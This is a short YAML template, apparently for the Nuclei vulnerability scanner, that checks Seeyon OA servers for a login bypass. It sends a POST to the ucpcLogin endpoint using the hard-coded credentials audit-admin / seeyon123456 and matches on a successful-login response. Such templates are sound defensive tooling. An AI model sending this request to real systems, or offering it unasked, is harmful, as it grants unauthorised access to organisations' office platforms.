seeyon-oa-ucpcLogin-login-bypass.yaml

id: seeyon-oa-ucpcLogin-login-bypass

info:
  name: Seeyon OA - Login Bypass
  author: Co5mos
  severity: high

http:
  - method: POST
    path:
      - "{{BaseURL}}/seeyon/rest/authentication/ucpcLogin"

    body: |
      UserAgentFrom=iphone&login_username=audit-admin&login_password=seeyon123456

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{\"LoginOK\":\"ok\",\"loginName\":\"audit-admin\"}"

      - type: status
        status:
          - 200